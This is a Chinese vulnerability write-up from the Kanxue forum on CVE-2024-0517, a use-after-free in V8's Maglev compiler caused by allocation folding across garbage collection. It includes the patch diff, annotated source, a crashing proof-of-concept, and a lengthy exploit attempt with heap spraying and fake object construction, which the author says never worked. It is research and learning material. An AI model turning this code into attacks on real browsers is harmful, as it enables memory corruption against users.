CVE-2024-0517分析心得
2024-5-18 16:38:56 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏


Error Fold Allocations in VisitFindNonDefaultConstructorOrConstruct

这个漏洞发生在MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct函数中,考虑之前分析的CVE-2023-4069也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发gc,从而导致UAF。

环境搭建

git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D


漏洞分析

还是从patch(https://chromium.googlesource.com/v8/v8/+/78dd4b31847ab1f5b06ef3d8742a9f3835fb6919%5E%21/#F0)入手:
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
可以看到补丁代码非常简单,就是添加了个ClearCurrentRawAllocation函数:
void MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}
该函数的功能为将current_raw_allocation_指针清空。
这里补丁代码打在了TryBuildFindNonDefaultConstructorOrConstruct函数中,其上层调用链为:
VisitFindNonDefaultConstructorOrConstruct
TryBuildFindNonDefaultConstructorOrConstruct
VisitFindNonDefaultConstructorOrConstruct其实我们在之前分析CVE-2023-4069时就详细分析过,其主要就是处理FindNonDefaultConstructorOrConstruct节点的,但是这里还是放一下代码分析吧:
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0); // target
ValueNode* new_target = LoadRegisterTagged(1); // new_target

auto register_pair = iterator_.GetRegisterPairOperand(2);
// 先调用 TryBuildFindNonDefaultConstructorOrConstruct
if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return;
}
// 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
StoreRegisterPair(register_pair, result);
}

这里会先调用TryBuildFindNonDefaultConstructorOrConstruct尝试进行图创建:
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
// 【1】获取 target constant
compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
if (!maybe_constant) return false;
// 获取 map 和原型链上的对象
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());

// TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
// We already deopt when a breakpoint is set. But it would be even nicer to
// avoid producting incomplete stack traces when when debug is active, even if
// there are no breakpoints - then a user inspecting stack traces via Dev
// Tools would always see the full stack trace.
// 遍历原型链
while (true) {
// 遍历 __proto__
// 如果原型对象不是 JSFunction,则遍历结束
if (!current.IsJSFunction()) return false;
// 当前原型对象 current_function
compiler::JSFunctionRef current_function = current.AsJSFunction();

// If there are class fields, bail out. TODO(v8:13091): Handle them here.
if (current_function.shared(broker()).requires_instance_members_initializer()) {
return false;
}

// If there are private methods, bail out. TODO(v8:13091): Handle them here.
if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
return false;
}
// 获取函数类型 kind
FunctionKind kind = current_function.shared(broker()).kind();
// 如果是派生默认构造函数,则直接跳过
if (kind != FunctionKind::kDefaultDerivedConstructor) {
// The hierarchy walk will end here; this is the last change to bail out
// before creating new nodes.
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return false;
}
// 【2】获取 new_target constant
compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
// 如果是顶层默认构造函数,则进行相关处理
if (kind == FunctionKind::kDefaultBaseConstructor) {
// Store the result register first, so that a lazy deopt in
// `FastNewObject` writes `true` to this register.
StoreRegister(result.first, GetBooleanConstant(true));

ValueNode* object;
// new_target_function 存在且是 JSFunction
// 并且 new_target_function 具有一个有效的 initial_map
// 即 initial_map.constructor ==? target
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
//【3】为对象分配空间
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second. Also mark result.first as being used,
// since the lazy deopt frame won't have marked it since it used to be
// a result register.
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
} else {
StoreRegister(result.first, GetBooleanConstant(false));
StoreRegister(result.second, GetConstant(current));
}

broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return true;
}

// Keep walking up the class tree.
// 遍历下一个 __proto__
current = current_function.map(broker()).prototype(broker());
}
}

可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用new_target.initial直接进行对象创建,慢速路径则退回到内建函数FastNewObject,这里我们主要看快速路径,快速路径为【1】->【2】->【3】,而【3】也是漏洞代码所在处,所以需要满足以下条件:
◆1、TryGetConstant(this_function)
◆2、TryGetConstant(new_target)
◆3、new_target.initial.constructor === target
这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入CheckValue节点绕过,第三个就不多说了,new_target是派生构造函数即可,或者顶层默认构造函数也????,比较简单。
最后为分配对象的语句如下,也是漏洞代码所在处:
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
然后跟进BuildAllocateFastObject,看其是如何创建对象的:
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for (int i = 0; i < object.inobject_properties; ++i) {
// MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type)
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
// elements
// MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type)
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);

DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
// 设置对象的 map,主要就是添加一个 StoreMap 节点
BuildStoreReceiverMap(allocation, object.map);
// 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);

if (object.js_array_length.has_value()) {
// 如果 js_array_length 有值,则初始化 length
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
}
// 设置 Elements
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
// 设置属性
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}

这里可以看到分配空间调用了ExtendOrReallocateCurrentRawAllocation函数,其会尝试折叠分配:
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
// 【1】
if (!current_raw_allocation_ || // current_raw_allocation_ 为空
current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致
!v8_flags.inline_new) // 头一次分配
{
// 分配 size 空间,节点为 AllocateRaw
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
// 如果上面三个条件都不满足,则会走到这里
// 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配
int current_size = current_raw_allocation_->size();
// 【2】检查是否可以折叠分配
// 如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
// 【3】折叠分配,current_size 应当大于 0
DCHECK_GT(current_size, 0);
int previous_end = current_size; // previous_end 即当前对象的起始位置
current_raw_allocation_->extend(size); // 扩展当前分配空间
// FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可
// 该对象的位置为:current_raw_allocation_ + previous_end
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:
ptr1 = malloc(0x10)
do something1
prt2 = malloc(0x20)
do something2
而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do something1
do something2
这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在JavaScript中,内存是由gc进行管理的,在V8中,没有被root object直接或间接引用的对象被标记为死对象,在触发gc时会被回收。所以考虑如下场景:
var obj1 = AllocateRaw(0x10);
do something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do something2 ==> use obj2
而如果此时发生分配折叠优化:
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do something1 ==> trigger gc
init obj2
do something2 ==> use obj2
这里的问题就是在分配完空间后,只对obj1的部分进行了初始化,而obj2的初始化则是在后面,那么如果在初始化obj2之前触发了gc,那么此时current_raw_allocation_+0x10这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面do something2时,仍然使用current_raw_allocation_+0x10,则导致UAF。

让我们回到该漏洞分析中,通过上面的分析我们可以知道:

◆在创建this对象时,保留了current_raw_allocation_指针,所以如果后面存在内存分配,则可能发生分配折叠
poc如下:
class A {}
class B extends A {
constructor() {
const check = new new.target;
super();
%DebugPrint(this);
let g = new Array(0x1000).fill(2.2); // 触发 gc
let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并
}
}

for (let i = 0; i < 0x1000; i++) {
Reflect.construct(B, [], A);
}

这里先来看下Maglev IR

调试分析下:
this对象的地址为0x2bca002ba4d5instance_size = 12,与Maglev IR图是吻合的:

然后程序就crash了:

从调用栈中的函数名称可以知道,明显触发了gc,而这里rsi的值为一个---地址,所以发生内存访问错误。这里我们来看下this对象下方的内存:



这里我们换个角度看:0x2bca002ba4d5-1 = this_addr==>o_addr = this_addr+12


看到这里其实就明白了,最开始分配了 84 字节的空间,减去this对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了o对象本身的空间和其elements占据的空间。

而这段空间在

o对象初始化之前在gc的过程中被释放了,然后又被其它对象占据了,所以在o初始化这段空间时就发生了UAF,即把其它对象内容给覆盖了,所以后面的rsi0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999,这里的0x3ff19999就是1.1的头 4 字节。


漏洞利用【todo

笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制gc,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的expliot吧,主要是这里的gc搞得我很烦。
后续:
写利用写了两天,但是还是没写出来,gc后似乎拿不到指定的内存,主要是victim始终在this对象的上方,不知道为啥,看参考文章说其应该在下方。然后不想在继续浪费时间了,后面有灵感了再回来写利用,暂时留个坑。

失败的

exploit
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}

function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}

function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}

function set_u64(val) {
u64[0] = val;
}

function set_l(l) {
u32[0] = l;
}

function set_h(h) {
u32[1] = h;
}

function get_l() {
return u32[0];
}

function get_h() {
return u32[1];
}

function get_u64() {
return u64[0];
}

function get_f64() {
return f64[0];
}

function get_fl(val) {
f64[0] = val;
return u32[0];
}

function get_fh(val) {
f64[0] = val;
return u32[1];
}

function add_ref(obj) {
roots[index++] = obj;
}

var gc_flag= false;
function major_gc() {
if (gc_flag) {
new ArrayBuffer(0x7fe00000);
return 0;
}
return 1;
}

function minor_gc() {
if (gc_flag) {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
return 2;
}
return 1;
}

function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = 0x00442139;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
var element_map_addr = fake_object_addr + 0x200;
//0x3204040400183c39 0x0a0007ff11000842
spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄
spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);

/*
0x61000000000004c5
0x004003ff0c0000b1
0x0000007d0000007d
0x000006dd00000701
0x0000000000000000
*/

spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);

/*
0x000100010000062d
0x000006f500000000
0x0000018400002b29
0x0000000000000002
*/
/*
var descriptors_addr = element_map_addr + 0x100;
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);
*/

/*
0xd6d6d7e2000003d5
0x0000006f00000001
*/

var str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);

print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx("fake_object_addr", fake_object_addr+1);
hexx("element_map_addr", element_map_addr+1);
//hexx("descriptors_addr", descriptors_addr+1);

//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));

//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);
var header = pair_u32_to_f64(element_map_addr+1, 0x40);
//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);
var X = pair_u32_to_f64(str_addr+1, 1);
var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var debug = false;
var empty_object = {};
class A {}
class B extends A {
constructor() {
const check = new new.target;
let v = [
empty_object,empty_object,empty_object,empty_object,
empty_object,empty_object,empty_object,empty_object,
];
super();
let o = [
header, header, header, header,
X,X,X,X,X,X,X,X,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
header, header, header, header,
];

this.o = o;
this.v = v;
}
[100] = major_gc();
}

for (let i = 0; i < 200; i++) {
if (i % 2 == 0) gc_flag = true;
major_gc();
gc_flag = false;

}

var w = null;
const N = 640;
const M = 644;
const S = 650;
var block = null;
for (let i = 0; i < S; i++) {
gc_flag = false;
if (i == N || (M < i && i < M+4)) {
gc_flag = true;
major_gc();
gc_flag = false;
}

if (i == M+3) {
gc_flag = true;
// major_gc();
// major_gc();
// major_gc();

// let tmp1 = { o:{}, v:{} };
// block = [1.1, 1.1, 1.1, 1.1, 1.1];
// let tmp2 = [
// empty_object,empty_object,empty_object,empty_object,
// empty_object,empty_object,empty_object,empty_object,
// ];
// minor_gc();
// %DebugPrint(tmp1);
// %DebugPrint(block);
// %DebugPrint(tmp2);

}

let r = Reflect.construct(B, [], A);
if (i == M+3) w = r;
}
/*
print("================ w ======================");
%DebugPrint(w);
print("================ w.o ====================");
%DebugPrint(w.o);
print("================ w.v ====================");
%DebugPrint(w.v);
print("=========================================");
*/
try {
print(w.v[0]);
} catch (m) {
%DebugPrint(w['p']);
%DebugPrint(w);
}

print("END");

如有读者能够写出稳定的利用,希望不吝赐教。


总结

通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:
◆常量折叠
◆公共子表达式消除
◆数组边界检查消除
◆逃逸分析
◆分配折叠
总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞。
Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution
(https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/)

看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛优秀文章,由 XiaozaYa 原创,转载请注明来自看雪社区

# 往期推荐

1、Windows主机入侵检测与防御内核技术深入解析

2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

3、银狐样本分析

4、使用pysqlcipher3操作Windows微信数据库

5、XYCTF两道Unity IL2CPP题的出题思路与题解

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458555133&idx=1&sn=c8e9b1dd3cf1f1a0f12cfac184dca0e1&chksm=b18da27786fa2b61c1703f08e9031a9a5437e37796bd3c29f42a4094b845142fd2586daedd30&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh